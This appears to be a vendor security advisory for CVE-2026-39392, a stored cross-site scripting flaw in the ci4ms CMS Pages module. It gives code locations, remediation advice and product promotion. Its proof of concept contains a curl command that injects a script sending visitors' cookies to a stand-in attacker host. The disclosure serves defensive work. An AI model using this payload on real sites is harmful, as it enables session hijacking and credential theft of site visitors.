CVE-2026-39392

CVE-2026-39392 is a medium-severity cross-site scripting (XSS) vulnerability in ci4-cms-erp/ci4ms (composer), affecting versions <= 0.31.3.0. It is fixed in 0.31.4.0.

Summary

The Pages module does not apply the html_purify validation rule to content fields during create and update operations, while the Blog module does. Page content is stored unsanitized in the database and rendered as raw HTML on the public frontend via echo $pageInfo->content. An authenticated admin with page-editing privileges can inject arbitrary JavaScript that executes in the browser of every public visitor viewing the page.

Details

The Blog module correctly applies HTMLPurifier sanitization to content fields:

modules/Blog/Controllers/Blog.php:82

'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],

The Pages module omits this rule in both create and update methods:

modules/Pages/Controllers/Pages.php:82 (create)

'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required'],

modules/Pages/Controllers/Pages.php:130 (update)

'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required'],

Content is stored directly without sanitization:

modules/Pages/Controllers/Pages.php:111 (create path)

'content' => $lData['content'],

modules/Pages/Controllers/Pages.php:157 (update path)

'content' => $lData['content'],

On the public frontend, the content is rendered as raw HTML without escaping:

app/Views/templates/default/pages.php:32

<?php echo $pageInfo->content ?>

Note that the same template correctly escapes the title field on line 9 using esc($pageInfo->title), further confirming the content output is an oversight.

The html_purify custom validation rule is defined in modules/Backend/Validation/CustomRules.php:54-73 and uses the HTMLPurifier library to strip dangerous HTML (script tags, event handlers) while preserving safe rich content. Its absence from the Pages validation is the root cause.

PoC

Step 1: Create a page with XSS payload (requires admin session)

curl -X POST https://target/backend/pages/create \
  -b 'ci_session=ADMIN_SESSION_COOKIE' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'lang[tr][title]=Test+Page&lang[tr][seflink]=test-xss-page&lang[tr][content]=<p>Normal+content</p><script>document.location="https://attacker.example/?c="%2Bdocument.cookie</script>&isActive=1'

Step 2: Visit the page as any unauthenticated user

https://target/tr/test-xss-page

Expected result: The <script> tag executes in the visitor's browser, sending their cookies to the attacker-controlled server.

Impact

  • Session hijacking: Attacker steals session cookies of any visitor, including other administrators
  • Credential theft: Injected JavaScript can render fake login forms or keylog credentials
  • Site defacement: Arbitrary HTML/JS can modify the public-facing page for all visitors
  • Malware distribution: Injected scripts can redirect visitors or load external payloads

The attack requires admin-level authentication (PR:H), but the impact crosses the security boundary to affect all unauthenticated public visitors (S:C). In a multi-admin CMS environment, a lower-privileged admin with only page-editing permissions could compromise higher-privileged admin sessions.

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

CVE-2026-39392 has a CVSS score of 5.5 (Medium). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.31.4.0); upgrading removes the vulnerable code path.

Affected versions

ci4-cms-erp/ci4ms (<= 0.31.3.0)

Security releases

ci4-cms-erp/ci4ms → 0.31.4.0 (composer)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Add the html_purify validation rule to both the create and update methods in the Pages controller, consistent with the Blog module:

modules/Pages/Controllers/Pages.php:82, change:

'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required'],

to:

'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],

modules/Pages/Controllers/Pages.php:130, apply the same change:

'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],

Additionally, as defense-in-depth, escape content output in the view template or use the existing esc() helper with the 'raw' context for trusted HTML, ensuring HTMLPurifier has already processed it before storage.

Frequently Asked Questions

  1. What is CVE-2026-39392? CVE-2026-39392 is a medium-severity cross-site scripting (XSS) vulnerability in ci4-cms-erp/ci4ms (composer), affecting versions <= 0.31.3.0. It is fixed in 0.31.4.0. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
  2. How severe is CVE-2026-39392? CVE-2026-39392 has a CVSS score of 5.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of ci4-cms-erp/ci4ms are affected by CVE-2026-39392? ci4-cms-erp/ci4ms (composer) versions <= 0.31.3.0 is affected.
  4. Is there a fix for CVE-2026-39392? Yes. CVE-2026-39392 is fixed in 0.31.4.0. Upgrade to this version or later.
  5. Is CVE-2026-39392 exploitable, and should I be worried? Whether CVE-2026-39392 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-39392 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-39392? Upgrade ci4-cms-erp/ci4ms to 0.31.4.0 or later.

Other vulnerabilities in ci4-cms-erp/ci4ms

CVE-2026-45270CVE-2026-45138CVE-2026-41891CVE-2026-41890CVE-2026-41587

Stop the waste.
Protect your environment with Kodem.